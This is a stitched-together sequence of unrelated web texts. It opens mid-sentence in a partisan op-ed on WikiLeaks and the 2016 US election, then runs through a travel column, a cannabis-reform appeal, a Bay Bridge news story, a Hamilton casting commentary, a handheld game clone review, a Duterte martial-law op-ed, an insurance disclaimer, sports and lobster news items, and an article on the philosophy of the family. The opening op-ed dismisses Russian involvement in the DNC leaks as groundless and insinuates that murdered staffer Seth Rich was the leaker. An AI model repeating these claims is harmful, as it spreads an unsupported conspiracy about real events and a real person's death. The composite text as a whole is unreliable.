contributor, Donna Brazile, was found to have tipped off the Clinton campaign on the content of two questions ahead of the final Clinton-Trump CNN-hosted debate. The jaw-dropping implications of that explosive finding, which could have tipped the scales in favor of Clinton, deserves nothing short of a Watergate-style investigation.  By the way, the Russians had nothing to do with that bit of insider intrigue, either.  But that's mere child's play compared to documents that show how Clinton, as the Secretary of State, severely mishandled the 2012 Benghazi attack, which was orchestrated by a radical Islamic group. US Ambassador to Libya J. Christopher Stevens was killed in the attack. In an interview with Democracy Now, Assange said Clinton was even responsible for arming Islamic State fighters in Syria in an apparent effort to bring down the government of President Bashar Assad.  Clinton's leaky emails point to "the disastrous, absolutely disastrous intervention in Libya, the destruction of the Gaddafi government, which led to the occupation of ISIS of large segments of that country, weapons flows going over to Syria, being pushed by Hillary Clinton, into jihadists within Syria, including ISIS, that’s there in those emails," the WikiLeaks co-founder said. "There’s more than 1,700 emails in Hillary Clinton’s collection, that we have released, just about Libya alone," he added.  Nor did the Russians have anything to do with those decisions made by the Obama administration.  So why all the mindless media chatter about Russia?  There was yet another potential bit of 'collateral damage' in the ongoing WikiLeaks drama that has largely gone overlooked. Since it is preposterous to think that Russia would have any need or desire to influence the US elections, nor has there been a single piece of convincing evidence to support the claim, WikiLeaks somehow managed to get the leaked documents. Why not from a DNC insider? In fact, why not from Seth Rich, the director of voter expansion with DNC who would have had access to the incriminating emails?  We'll probably never know the answer to that question because Mr. Rich is no longer around to provide his testimony.  In the early hours of July 10th, Rich was shot multiple times in the back as he walked home alone from a Washington pub. Was Rich the victim of a robbery? If so, investigators were baffled as to why his wallet, credit cards, wrist watch and cellphone were not removed from his body.  Police Chief Cathy Lanier admitted at a press conference, “Right now, we have more questions than answers.”  Julian Assange, falling short of admitting Rich - as opposed to Russia - was the source of the leaked information, offered a $20,000 reward for information leading to the arrest of the individual(s) responsible for the premature death of Mr. Rich.  ANNOUNCE: WikiLeaks has decided to issue a US$20k reward for information leading to conviction for the murder of DNC staffer Seth Rich. — WikiLeaks (@wikileaks) August 9, 2016  Neverthless, Newsweek was just one of many media outlets that brushed off the incident as "yet another round of Clinton conspiracy theories, this one claiming that Rich was murdered—at dawn—as he was on his way to sing to the FBI about damning internal DNC emails."  Funny how the Western media regularly accuses foreign media of jumping on wild "conspiracy theories," yet they have no qualms saddling up their own highly dubious ideas about "Russian involvement" in the WikiLeaks.  Although it may be perfectly true that Mr. Rich died the victim of a robbery gone awry, there are still grounds to believe that he was the DNC whistleblower. Somehow the mainstream media, however, found it more expedient to pin the blame on a distant foreign power without a shred of evidence.  Indeed, Newsweek was apparently satisfied that it had performed due diligence by quoting an anonymous source that said: “There was no indication that any insider was involved in this... Every indication is this was a remote attack from a foreign government—the Russians."  When the Neocon defection began  When Donald Trump first announced he would scale back the size of America's global military footprint if elected president, neo-conservatives unleashed a collective howl of pain as they began fleeing en masse the ship of the Republican Party.  Robert Kagan, senior fellow at the Brookings Institute and a top Neocon ideologue, signaled the defection when he said a Trump presidency would herald in a new age of American-style fascism.  Today, the tattered flag of the Neocons is flapping high above the Clinton camp, distant fires glowing, as they continue to spearhead a scathing attack on Trump just days before the election. What is the source for this great defection against their own party? Quite simply, the Neocons have no allegiance except to individuals - like George W. Bush and, yes, Barack Obama - who pledge to continue America's wars of expansion and empire.  Clinton's past record in Iraq, Libya and Syria strongly suggests she will lead the Neocons to more foreign pillage and plunder; Trump has pledged to bring home the troops in order to "Make America Great Again." Neocons are not big fans of infrastructure projects, like filling potholes and rebuilding schools.  Trump alienated the Republican warhorses when he pledged to pursue, like a real disciple of the conservative political creed, a foreign policy that does not send American men and women off to distant battlefields to be killed and maimed in senseless military adventures.  Assange ‘sorry for Clinton as a personality’ (John Pilger exclusive, courtesy of Dartmouth films) https://t.co/6Yw748WCnbpic.twitter.com/Abf0VFg6zy — RT (@RT_com) 3 ноября 2016 г.  The following passage by Joseph A. Mussomeli - in the Washington Post, of all places - really nailed it as to why the Neocons hate Donald Trump: "Our cadre of neoconservative foreign policy experts, unhumbled after marching us into a reckless war in Iraq and a poorly conceived one in Afghanistan, who applauded as we bombed Libya and bitterly resent our having failed to bomb Bashar al-Assad in Syria, are frightened... But what really troubles them is [Trump's] generally level-headed and unmessianic attitude toward foreign affairs... Clinton is just another neocon, though wrapped in sheep’s clothing — just as on some foreign policy issues Trump is little more than Bernie Sanders in wolf’s clothing."  Anne Applebaum, perennial anti-Russia scaremonger and notable Neocon, tossed a smoke grenade into the WikiLeaks scandal, attempting to obfuscate Julian Assange's work with groundless accusations: "Russia will continue to distribute and publish the material its hackers have already obtained from attacks on the Democratic National Committee, George Soros’s Open Society Foundation, former NATO supreme commander Gen. Philip Breedlove and probably others. The point will be to discredit not just Hillary Clinton but also the U.S. democratic process and, again, the “elite” who supposedly run it."  Applebaum wants the distracted public to forget that the leaks already discredited Clinton. Moreover, the lesson between the lines of Applebaum's diatribe is that all the bad things Clinton has been connected with should be forgiven and forgotten because, well, big bad Russia allegedly had a hand in the mess.  Albright claimed that Russia seeks to "undermine Western leaders by making them seem corrupt or malicious." The reader may discern, based on what we already know about some Western leaders from Mr. Assange, the value of that statement for themselves.  So in closing, here we have the very same individuals that cheered when former Secretary of State Colin Powell shook a vial of fake anthrax in the UN General Assembly, spooking the world into believing Saddam Hussein was sitting on a hoard of WMDs, thereby triggering war against a sovereign state that has killed over 1 million Iraqis and counting, now would like us to believe Russia is behind the WiliLeaks emails that threaten to sink Clinton's rat-infested ship once and for all.  We would be fools to let them get away with such deliberate deception again.  @Robert_Bridge
-ON A business trip last month, Gulliver spent nearly 36 hours straight (minus sleep time) side by side with someone she had just met—sitting next to him in a car on a six-hour drive, eating meals together, conducting the work our mutual employer had sent us to complete, then driving another six hours and, finally, flying back home in adjacent seats.  While the stranger in question was as nice a person as one could hope to meet, by the time Gulliver boarded that last flight, she was all talked out. He probably was too. Yet, as everyone knows, avoiding conversation in the close quarters of an airplane can be difficult, especially when you don’t want to risk appearing rude.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  Egencia (Expedia’s corporate-travel wing) recently surveyed more than 400 business travellers on this very subject. Interestingly, a quarter of the respondents said they usually enjoy talking to people on planes. When conversation is not desired, though, 50% of the respondents said they pick up a book, while 38% said they listen to music and 15% pretend to sleep to avoid an unwanted chat.  Shutting out a stranger is one thing, but it’s trickier when you're elbow-to-elbow with a colleague. For her own flight, Gulliver tried a different strategy: breaking out a crossword puzzle. It worked like a charm. Doing a puzzle feels less exclusionary than reading—theoretically you might ask your neighbour for help with a tricky clue—and allows you to stare into space as if you’re pondering potential answers when you’re really just daydreaming. Has anyone else found a conversation-stopper that succeeds without giving offence? If so, please share, but maybe not with the person in the next seat.  (Photo credit: Alamy)
-Dear Supporters,  Today we have much to be thankful for. This week marks the first anniversary of the Georgia CARE Project – and it has been a success!  Twelve months ago Ron Williams and I (James Bell) agreed that Georgia Taxpayers Alliance, Inc. should form this project in an effort to move the cannabis reform issue forward. We saw that 20 states (D.C.) have medical laws and two state had just legalized. It was a sign to us that Georgia should be more engaged in the reform movement. We have accomplished many of our short term goals – take a look…  · A volunteer webmaster who is doing a great job in driving traffic and getting us organized  · Worked with various organizations in an effort to build a coalition around our issue  · Lobbied our legislators and secured some support for reform  · Participated in various public speaking events and forums – conferences / parade / collages  · Raised enough donations to purchase our basic needs – printing / internet / travel / merchandise  · Organizing in several cities around Georgia including a collage affiliate at University of Georgia  · Appeared on several radio & TV programs including Public Radio (WABE) (WRFG) (Cable Access)  · A donation of a new Desk top PC / folding table / banner  We are so thankful for all the support we have gotten from people around the state, nation and even internationally.  People have donated cash, created graphics, distributed literature, wrote letters to lawmakers, made phone calls, and just emailed us and called to say thank you for what we are doing. You have kept us inspired!  We would like to thank Sharon Ravert and Peachtree NORML for their diligence and help in our efforts.  A special thanks to the legislators who were inspired enough to call us and ask ‘how can we help”. We look forward to working with them and building more support.  What once seems a daunting task now seems very real and achievable. It will not be easy and it will not be done as fast as we want it too. But we are willing to dedicate our efforts for as long as it takes to achieve our goals. We hope you will continue to help us!  Now we are preparing for a very busy 2014. We have the momentum to move forward and set our goals even higher. But we need your help!  We have a big wish list which we must share with you. Take a look…  We need the following:  · Monthly pledge of $45.00 to cover our internet connection  · $200 for a new computer monitor  · $300 will buy a Windows Tablet for showing power point presentations and videos  · $400 per month (3 months) to cover expenses for lobbying at the state capitol  · $500 for printing brochures and cards ($500 will purchase 10,000 tri-fold brochures)  · $1000 will buy a line of merchandise that will raise $3000  These are some of the basic needs. We hope you will consider contributing to one of these project.  While we would obviously welcome a $1000 donation, a contribution in any amount would help tremendously. Go here and make a donation – $10 – $25 – $50 – $100 – $500 -$1000 – Other.  Also, we are working to organize in your town. If you are willing to be our representative we will help you get organized and hold your first meeting. We are also available for public speaking and media interviews.  Again, we are thankful we have your support. Without you we could not have accomplish what we have. We hope you have a great holiday season and we look forward to continuing our work in 2014.  Perhaps more importantly, we should not forget those who are incarcerated for marijuana and cannot be with their family and friends this holiday season. It is for them that we continue the fight and for ourselves that we will fight for our given rights to life, liberty and the pursuit of happiness!  Are you ready for reform? We can do this!  All the best,  James Bell & Ron Williams  Georgia CARE Project – Campaign for Access, Reform & Education  404-271-9061
-OAKLAND, Calif. — The plan was to finish construction on the new eastern stretch of the San Francisco-Oakland Bay Bridge and open it on Labor Day. Then the existing bridge, which partly collapsed in 1989 during the last major earthquake here, would be demolished.  But problems surrounding seismic bolts in the new stretch and lingering questions about others have now presented California with two unattractive options for the most expensive infrastructure project in the state’s history. Under the assumption that the next major jolt could occur at any time, should the state delay the opening of the new bridge, which despite its imperfections is said to be more seismically resistant than its 77-year-old predecessor? Or should the opening go as planned, leaving some issues to be resolved later?  State transportation officials must decide by July 10.  “We are pushing for time against when the next earthquake will occur, and that’s why there’s this urgency about this,” said Amy Rein Worth, the chairwoman of the Metropolitan Transportation Commission, one of the organizations involved in the construction, and the mayor of Orinda, a city in the East Bay. “At the same time, there’s a strong feeling from all of us involved that we want to get it right.”  Officials are also under political pressure to finally wrap up a project that over the years has suffered from several construction problems and delays because of budget woes and political disagreements. The cost of the new stretch of the Bay Bridge — which handles about 280,000 cars a day and ranks among the three busiest bridges in the nation — has ballooned to $6.4 billion.
-Hamilton has won great acclaim for many reasons, but the show’s decision to cast people of color in the overwhelming percentage of the roles definitely contributes to the production’s appeal. Broadway has historically been a majority-white, exclusive institution, and Lin-Manuel Miranda’s show not only stands out by virtue of being different, it also offers positive representation that many musical theater fans can’t find elsewhere.  However, the show is being criticized for language used in a recent casting notice for the upcoming tour that states the production is seeking “NON-WHITE men and women.” Attorney Randolph McLaughlin, of Newman Ferrara Law Firm, told CBS  What if they put an ad out that said whites only need apply? Why, African-Americans, Latinos, Asians would be outraged. You cannot advertise showing that you have a preference for one racial group over another. As an artistic question, sure, he can cast whomever he wants to cast. But he has to give every actor eligible for the role an opportunity to try.  Hamilton producer Jeffrey Seller told CBS “I stand by it and believe it to be legal,” and a press representative for the show says the notice was approved by Actor’s Equity. However, the union general counsel denied that a notice with language like that would have been approved. Instead of calling for non-white actors, a recent Hamilton audition notice approved by Actors Equity instead calls for performers of “all ethnicities.”  New York has a history of fining businesses for using exclusionary language like “bus boys” (as opposed to “bus staff”) in job postings, but CBS reports that the New York Commission on Human Rights “would likely work with the Hamilton production team to help it comply with city law if it takes issue with the ad.”  As of now, the Commission has not received a complaint about Hamilton. Personally, I hope they never do. I imagine it would be easy for the Hamilton producers to adjust the language in that casting notice, but white people like myself have been represented and held up as the default and ideal on Broadway for so long—for someone to feel sincerely, unjustly excluded by this notice, they’d have to ignore the countless other ways in which their privilege as a white person benefits their career.  I’m reminded of the people who protested the all-Black cast of NBC’s The Wiz last year. The Wiz was originally written as a direct response to the all-white cast of the Wizard of Oz film; in order to sincerely object to the NBC production, you’d need to be ignorant both of the history of that specific show and to the history of systemic mistreatment and exclusion of Black performers in the entertainment industry overall.  Similarly, for a performer to take personal offense to this Hamilton notice, they’d need to take issue with the entire message of the show itself. Kendra James, who describes the show as “part musical, part protest music,” wrote for The Toast last October:  The cast of Black, Latina, and Asian American leads emphasizes not only the reality of who actually built and expanded America (“we all know who’s really doing the planting,” Hamilton spits at Jefferson during Act 2), but also how irrelevant the Founding Fathers’ whiteness is to their claim on the country. For in Miranda’s Hamilton,America is claimed not by white men, but by the people of color onstage: “I’m just like my country / I’m young, scrappy and hungry / and I’m not throwing away my shot.”  Hamilton is a show about immigrants of color “getting the job done.” Given that, it would seem like nothing but a waste of white actors’ time to specify “all ethnicities” on a casting notice (unless, of course, that notice was referring to the role of King George, who’s currently played by Jonathan Groff), when the show’s message is best served by casting non-white performers.  (via Jezebel)  —The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.—  Follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google+.
-Zack  The Game Boy Color was the first foray into portable gaming for many. Its simple, pocketable form and sturdy build made it the perfect entertainment device for kids. Its vast library of games made it the perfect companion for long car rides, birthday parties, a trip to grandmas, or Saturday mornings lounging on the couch. It was a major step up from its predecessors, the Game Boy and Game Boy Pocket, boasting improved processing speed and a glorious color display. However, the lack of a lit screen meant playing at night was a hassle, requiring you to sit directly under a light source or utilize one of the many available accessories, such as the infamous "worm light".  With back-lit screens coming standard with all modern portables, this first-world problem is a thing of the past, but there's something special about going back and playing the old classics. Sure, many can be downloaded on the 3DS virtual console or emulated on one of the many obscure handhelds being produced, but it just doesn't feel quite the same. And while the Game Boy Advance SP is wonderfully designed, there's no denying how great a Game Boy Color feels in the hands, not to mention the nostalgia it brings.  There were many copycats clambering to cash in on Nintendo's success, releasing all manner of knockoffs, many of which were nothing more than simple one-game machines with a shell made to resemble a Game Boy. However, there were a handful of respectable clones that played the original software, and a Chinese company by the name of Kong Feng were one such producer, cloning the Game Boy Pocket (GB Boy) and then the Game By Color (GB Boy Colour). They later came out with a GBA SP model, but it's just the GB Boy Colour with a different shell.  The GB Boy Colour, in addition to playing original Game Boy and Game Boy Color cartridges, supports multiplayer via link-cable, has a headphone jack, and can be powered via AC adapter. It does have an infrared lens, but there don't appear to be any infrared LEDs inside. Physically, it's practically identical to the real thing, though it is slightly bigger, and has a rectangular screen which distorts the graphics ever so slightly. The buttons don't quite live up to Nintendo standards, but clones never do. They're less mushy and more firm (which makes quickly rocking the D-Pad a little more difficult), but they're not terrible by any means and are quite comfortable. Unlike a lot of knockoff handhelds, this one is surprisingly well built. It's got some weight to it and doesn't feel like it'll crumble under the force of your thumbs. The battery life is excellent, giving enough playtime even on store-brand batteries to play through the majority of Link's Awakening, and the speaker is significantly louder than that on the original GBC. When they're almost out of juice, the system will repeatedly reset to the boot screen.  Aside from the back-lit screen, the biggest reason to hunt one of these units down is for the built-in games. The box touts a whopping 188 titles, but it's really 66 listed three times each. Unfortunately, not every GB Boy Colour out there comes with these on-board games for one reason or another, so make sure you know what you're buying if you do decide to pick one up. This handheld was produced in blue, green, yellow, crystal blue, crystal purple, and crystal green.  Whether you're a handheld enthusiast looking for the next cool toy for your collection or just want to experience those classic games from your childhood a second time around, the GB Boy Colour is well worth owning.  Update: I've finally got my hands on one with 188 built-in games. It should come as no surprise, but the list is only 66 games long, repeated 3 times. Even so, you can't go wrong for the low $30 price tag for a quality backlit GBC clone with 66 built-in games with the option of playing carts as well. Below is a list of the included games:  Contra  Super Mario Land  Bugs Bunny  Parasoru Hembei  Go Go Tank  Tenchiwokurau  Donkey Kong  Aladdin  Mario & Yoshi  Duck Tales  Pac-Man  Side Pocket  Kid Niki  Yar's Revenge  Yakuman  Bubble Ghost  Migrain  Othello  Honk Kong  Korodice  Master Karate  Shisensyo  Shanghai  Tennis  Trump Boy  Volley Fire  Alley Way  Pitman  Space Invaders  Asteroids  Battle City  Bomb Jack  Boxxle  Boxxle 2  Amida  Tetris  Brain Bender  Tic-Tac-Toe  Castelian  Centipede  Crystal Quest  Dragon Slayer  Drop Zone  Dr. Mario  Flappy Special  Flipull  Heiankyo Alien  Hyper Loderunner  Klax  Koi Wa Kakehi  Kwirk  Loopz  The Game Of Harmony  Minesweeper  Missle Command  Motocross Mania  NFL Football  Palamedes  Penguin Land  Pipe Dream  Pop Up  Q Billion  Serpent  Tesserae  World Bowling  Daedalian Opus  You can purchase a GB Boy Colour at Geek 'N Gamer Gear
-From the perspective of President Duterte and his advisers, there’s probably no better time than now to determine what else he can do, or how far he can go, as president of this country. Declaring martial law in Mindanao is his way of testing the outer limits of his political prerogatives. This course of action, as I’ll try to show, will put a stress on political legitimacy rather than on strict legality—on what the people appear to be willing to accept, rather than on what the law says.  Our current political milieu, I’m afraid, favors the populist language of willful leadership, of final solutions to festering problems, and of abiding trust in those who are prepared to break the rules in order to destroy the status quo once and for all. Accordingly, it sees the legal system as the last refuge of a dysfunctional Establishment. It regards all assertions of individual freedoms, and of civil and political rights, as selfish, mistaken, unpatriotic, and delusional.  ADVERTISEMENT  The detested “Establishment” includes everything and everyone Mr. Duterte and his followers have mocked since the 2016 electoral campaign: the political oligarchy led by the Aquinos that came to power after Edsa 1, the business elites that benefited from and supported the latter, the Catholic bishops, the mainstream media, the Western press, the global advocates of democracy and civil liberties, the United States, the European Union, and the United Nations.  As a legal instrument in the hands of the chief executive, martial law itself is no longer what it used to be. The framers of the 1987 Constitution essentially stripped it of extraordinary powers by explicitly subjecting it to review by coequal branches of the state, namely the legislature and the judiciary.  But, as a political concept, ML draws its considerable sting not so much from its constitutional basis as from the remembrance of its past uses and abuses—its rationalization as a tool of last resort, memories of the unspeakable brutality it brought out among its enforcers, and the enduring terror it instilled in our people.  Was it a coincidence that the very first thing Mr. Duterte conjured after announcing ML in Mindanao was the image of martial law under Marcos? That, instead of assuring ordinary Filipinos of the continuing protection of their liberties in the face of a perceived threat against the state, he chose to warn them that he will be “harsh”? Hardly.  Speaking to the troops in Iligan City on May 26, three days after declaring ML in Mindanao, he said: “I am here to say to you, fight and I will pray for you, and I will answer for everything. Wag na kayo magalala. (Don’t worry.) During martial law, your commanders, you, can arrest any person, search any house, wala nang (no need for a) warrant.”  I am not a lawyer but, as far as I know, the 1987 Constitution does not give the President such powers under martial law. Nor does it free soldiers and police officers who act illegally—whether on orders of their superiors or not—from criminal liability. Martial law does not suspend the Bill of Rights, nor does it replace civilian courts with military courts. It obligates the President to report to Congress, and the latter to assess ML’s factual basis.  We have been assured that the guidelines issued by the Armed Forces of the Philippines are more mindful of the restrictive provisions of the new Constitution. Still, I am alarmed by the AFP spokesperson’s warning that they reserve the right to “censure” (sic) published material and restrict the freedom of expression. I don’t think the law allows them.  But, this is nothing compared to the way Mr. Duterte himself talks about martial law powers. Ironically, his portrayal of ML powers stands in sharp contrast to the careful legalistic language in which the 1972 proclamation of martial law is couched. Unlike Marcos, Mr. Duterte doesn’t seem to care what the rest of the world thinks. Who will dare check him if the Filipino public thinks he’s doing the right thing? Every opinion survey seems to confirm his continuing popularity, almost as if the public has given him blanket approval for every cause he chooses to champion.  He has sufficiently intimidated the Church, the mainstream media, the political opposition, and the business community. He has tamed the police and the military, charmed the armed Left by inviting its nominees to sit in the Cabinet while they resume peace talks, and silenced the organized Moro liberation groups by dangling the prospect of concluding a peace agreement with them. As the US and the West signal their gradual disengagement from world affairs in the face of their own domestic problems, Mr. Duterte basks in his newfound friendship with the powerful rulers of China and Russia.  ADVERTISEMENT  What better time, indeed, can there be for a Filipino autocrat to measure the metes and bounds of his actual powers?  It is wonderful to hear Ombudsman Conchita Carpio Morales, Chief Justice Maria Lourdes Sereno, and Justice Antonio Carpio speak up boldly on crucial issues of law. But, as influential as they may be, their voices constitute only a small particle in a still evolving legal system. And, as I said, the prevailing political climate is not exactly hospitable to legal arguments. What is to be done?  Let Congress and the high court debate the justification for martial law. But, as citizens of this republic, let us not waste our breaths supplying the reasons for why we need martial law. That is how we get accustomed to losing our freedoms. Let us remain focused instead on what we need to do to defend what remains of our democracy.  public.lives@gmail.com  Read Next  LATEST STORIES  MOST READ
-*About our discount - our discount is also available for men. Just go ahead and buy with the discount applied or use the chat window in the corner to ask us more about Jane.  The travel Tips from Jane provided are for research and information purposes only, and does not constitute advice or recommendations. Any advice provided by us is general only and does not take into consideration your individual circumstances.  Benefits are subject to the terms and conditions (including the limits, sub-limits and exclusions) of the insurance policy. "Travel with Jane" is a trading name of Insured by Us (ABN 84 604 520 952) located at Level 5, 63 York Street, Sydney, NSW 2000.Please make sure to read the Product Disclosure Statement and Financial Services Guide to make sure that the product meets your needs. The policy is issued through YourCover Pty Ltd (ABN 35 169 038 466 AFSL 461299) Coverholder at Lloyd's underwritten by certain underwriters at Lloyd's.
-Pagano makes his NFL decision  Clemson junior defensive tackle Scott Pagano has officially made his decision to return to school for next season according to his Facebook account on Thursday.  "Tiger Nation, family, and friends last year at this time I was thanking you all for your support, friendship and faith with a very heavy heart," Pagano said. "I felt as if we had let you down. First I need to give God the biggest shout out ever for giving me this opportunity to play the game I love. This year is much different I thank you now for your faith, prayers, support, friendship and love of our team with a gratitude that is beyond anything I can put into words. In all my years here at Clemson you have redefined words like family, class, and unity. My football brothers past and present thank you for daring to dream and doing! My friends and family especially my parents, thank you for sacrificing so much in the name of the game. With that being said, GO TIGERS! CU IN AUGUST! National Champs!"  Clemson's defensive line will be stout again next year with several high-calibers including Pagano, Wilkins, Ferrell, Bryant, Lawrence, and others.
-A massive 14-pound lobster was caught during a fishing trip in Bermuda following a powerful category 4 hurricane that barreled through the region recently.  The lobster was caught “by accident” with a hook a line while the Sanctuary Marine Bermuda charter boat was out fishing for snapper, according to a Facebook post Saturday afternoon.  “Hurricane Nicole blew in some sea monsters,” the post read.  After taking photos of the mammoth crustacean, the lobster was released safely back into the ocean. Photos of the lobster that were posted on the Sanctuary Marine Bermuda’s Facebook page have been shared more than 6,000 times in less than 48 hours.  While appearing massive in size, the lobster is far from the bigger one ever caught; he Guinness Book of World Records lists a lobster weighing more than 44 pounds that was caught off of Nova Scotia, Canada, as the largest ever recorded, according to multiple reports.  Lobsters typically grow to be about 3 feet or longer in length, according to the University of Maine’s Lobster Institute. And while there is no way to determine the exact age of a lobster, experts say they can live to be up to 100 years.  Hurricane Nicole passed over Bermuda on Thursday and moved out to sea. The storm hit Bermuda with plenty of wind and rain but never officially made landfall.  “Bermuda did get into the eye,” he explained, “but when it involves an island, the center of the eye must go over the island.”  Nicole attained Category 4 status Wednesday night on the Saffir-Simpson Hurricane Wind Scale, the center said, but lost wind strength Thursday.  A storm surge was expected to raise water levels by 6 to 8 feet above normal tides, and 5 to 8 inches of rain are expected to fall over the island through Thursday evening, the hurricane center said.  Nick Warren of Boston and his wife, Nicole, told CNN they were spending the week at Tucker’s Point 5 resort when the storm hit. He said the weather changed from fierce storm to calm in a matter of about 15 minutes, apparently when the eye of the storm passed over, then picked up again.
-Plato famously wanted to abolish the family and put children into care of the state. Some still think the traditional family has a lot to answer for, but some plausible arguments remain in favour of it. Joe Gelonesi meets a philosopher with a rescue plan very much in tune with the times.  So many disputes in our liberal democratic society hinge on the tension between inequality and fairness: between groups, between sexes, between individuals, and increasingly between families.  I don’t think parents reading their children bedtime stories should constantly have in their minds the way that they are unfairly disadvantaging other people’s children, but I think they should have that thought occasionally.  The power of the family to tilt equality hasn’t gone unnoticed, and academics and public commentators have been blowing the whistle for some time. Now, philosophers Adam Swift and Harry Brighouse have felt compelled to conduct a cool reassessment.  Swift in particular has been conflicted for some time over the curious situation that arises when a parent wants to do the best for her child but in the process makes the playing field for others even more lopsided.  ‘I got interested in this question because I was interested in equality of opportunity,’ he says.  ‘I had done some work on social mobility and the evidence is overwhelmingly that the reason why children born to different families have very different chances in life is because of what happens in those families.’  Once he got thinking, Swift could see that the issue stretches well beyond the fact that some families can afford private schooling, nannies, tutors, and houses in good suburbs. Functional family interactions—from going to the cricket to reading bedtime stories—form a largely unseen but palpable fault line between families. The consequence is a gap in social mobility and equality that can last for generations.  So, what to do?  According to Swift, from a purely instrumental position the answer is straightforward.  ‘One way philosophers might think about solving the social justice problem would be by simply abolishing the family. If the family is this source of unfairness in society then it looks plausible to think that if we abolished the family there would be a more level playing field.’  It’s not the first time a philosopher has thought about such a drastic solution. Two thousand four hundred years ago another sage reasoned that the care of children should be undertaken by the state.  Plato pulled few punches in The Republic when he called for the abolition of the family and for the children of the elite to be given over to the state. Aristotle didn’t agree, citing the since oft-used argument of the neglect of things held in common. Swift echoes the Aristotelian line. The break-up of the family is plausible maybe, he thinks, but even to the most hard-hearted there’s something off-key about it.  ‘Nearly everyone who has thought about this would conclude that it is a really bad idea to be raised by state institutions, unless something has gone wrong,’ he says.  Intuitively it doesn’t feel right, but for a philosopher, solutions require more than an initial reaction. So Swift and his college Brighouse set to work on a respectable analytical defence of the family, asking themselves the deceptively simple question: ‘Why are families a good thing exactly?’  Not surprisingly, it begins with kids and ends with parents.  ‘It’s the children’s interest in family life that is the most important,’ says Swift. ‘From all we now know, it is in the child’s interest to be parented, and to be parented well. Meanwhile, from the adult point of view it looks as if there is something very valuable in being a parent.’  He concedes parenting might not be for everyone and for some it can go badly wrong, but in general it is an irreplaceable relationship.  ‘Parenting a child makes for what we call a distinctive and special contribution to the flourishing and wellbeing of adults.’  It seems that from both the child’s and adult’s point of view there is something to be said about living in a family way. This doesn’t exactly parry the criticism that families exacerbate social inequality. For this, Swift and Brighouse needed to sort out those activities that contribute to unnecessary inequality from those that don't.  ‘What we realised we needed was a way of thinking about what it was we wanted to allow parents to do for their children, and what it was that we didn’t need to allow parents to do for their children, if allowing those activities would create unfairnesses for other people’s children’.  The test they devised was based on what they term ‘familial relationship goods’; those unique and identifiable things that arise within the family unit and contribute to the flourishing of family members.  For Swift, there’s one particular choice that fails the test.  ‘Private schooling cannot be justified by appeal to these familial relationship goods,’ he says. ‘It’s just not the case that in order for a family to realise these intimate, loving, authoritative, affectionate, love-based relationships you need to be able to send your child to an elite private school.’  In contrast, reading stories at bedtime, argues Swift, gives rise to acceptable familial relationship goods, even though this also bestows advantage.  ‘The evidence shows that the difference between those who get bedtime stories and those who don’t—the difference in their life chances—is bigger than the difference between those who get elite private schooling and those that don’t,’ he says.  This devilish twist of evidence surely leads to a further conclusion—that perhaps in the interests of levelling the playing field, bedtime stories should also be restricted. In Swift’s mind this is where the evaluation of familial relationship goods goes up a notch.  ‘You have to allow parents to engage in bedtime stories activities, in fact we encourage them because those are the kinds of interactions between parents and children that do indeed foster and produce these [desired] familial relationship goods.’  Swift makes it clear that although both elite schooling and bedtime stories might both skew the family game, restricting the former would not interfere with the creation of the special loving bond that families give rise to. Taking the books away is another story.  ‘We could prevent elite private schooling without any real hit to healthy family relationships, whereas if we say that you can’t read bedtime stories to your kids because it’s not fair that some kids get them and others don’t, then that would be too big a hit at the core of family life.’  So should parents snuggling up for one last story before lights out be even a little concerned about the advantage they might be conferring?  ‘I don’t think parents reading their children bedtime stories should constantly have in their minds the way that they are unfairly disadvantaging other people’s children, but I think they should have that thought occasionally,’ quips Swift.  In the end Swift agrees that all activities will cause some sort of imbalance—from joining faith communities to playing Saturday cricket—and it’s for this reason that a theory of familial goods needs to be established if the family is to be defended against cries of unfairness.  ‘We should accept that lots of stuff that goes on in healthy families—and that our theory defends—will confer unfair advantage,’ he says.  It’s the usual bind in ethics and moral philosophy: very often values clash and you have to make a call. For Swift and Brighouse, the line sits shy of private schooling, inheritance and other predominantly economic ways of conferring advantage.  Their conclusions remind one of a more idyllic (or mythic) age for families: reading together, attending religious services, playing board games, and kicking a ball in the local park, not to mention enjoying roast dinner on Sunday. It conjures a family setting worthy of a classic Norman Rockwell painting. But not so fast: when you ask Swift what sort of families is he talking about, the ‘50s reverie comes crashing down into the 21st century.  ‘When we talk about parents’ rights, we’re talking about the person who is parenting the child. How you got to be parenting the child is another issue. One implication of our theory is that it’s not one’s biological relation that does much work in justifying your rights with respect to how the child is parented.’  For Swift and Brighouse, our society is curiously stuck in a time warp of proprietorial rights: if you biologically produce a child you own it.  ‘We think that although in practice it makes sense to parent your biological offspring, that is not the same as saying that in virtue of having produced the child the biological parent has the right to parent.’  Then, does the child have a right to be parented by her biological parents? Swift has a ready answer.  ‘It’s true that in the societies in which we live, biological origins do tend to form an important part of people’s identities, but that is largely a social and cultural construction. So you could imagine societies in which the parent-child relationship could go really well even without there being this biological link.’  From this realisation arises another twist: two is not the only number.  ‘Nothing in our theory assumes two parents: there might be two, there might be three, and there might be four,’ says Swift.  It’s here that the traditional notions of what constitutes the family come apart. A necessary product of the Swift and Brighouse analytical defence is the calling into question of some rigid definitions.  ‘Politicians love to talk about family values, but meanwhile the family is in flux and so we wanted to go back to philosophical basics to work out what are families for and what’s so great about them and then we can start to figure out whether it matters whether you have two parents or three or one, or whether they’re heterosexual etcetera.’  For traditionalists, though, Swift provides a small concession.  ‘We do want to defend the family against complete fragmentation and dissolution,’ he says. ‘If you start to think about a child having 10 parents, then that’s looking like a committee rearing a child; there aren’t any parents there at all.’  Although it’s controversial, it seems that Swift and Brighouse are philosophically inching their way to a novel accommodation for a weathered institution ever more in need of a rationale for existing. The bathwater might be going out, but they’re keen to hold on to the baby.  Family values Sunday 3 May 2015 Listen to this episode of The Philosopher's Zone to hear more from philosopher Adam Swift. More This [series episode segment] has image,  The simplest questions often have the most complex answers. The Philosopher's Zone is your guide through the strange thickets of logic, metaphysics and ethics.
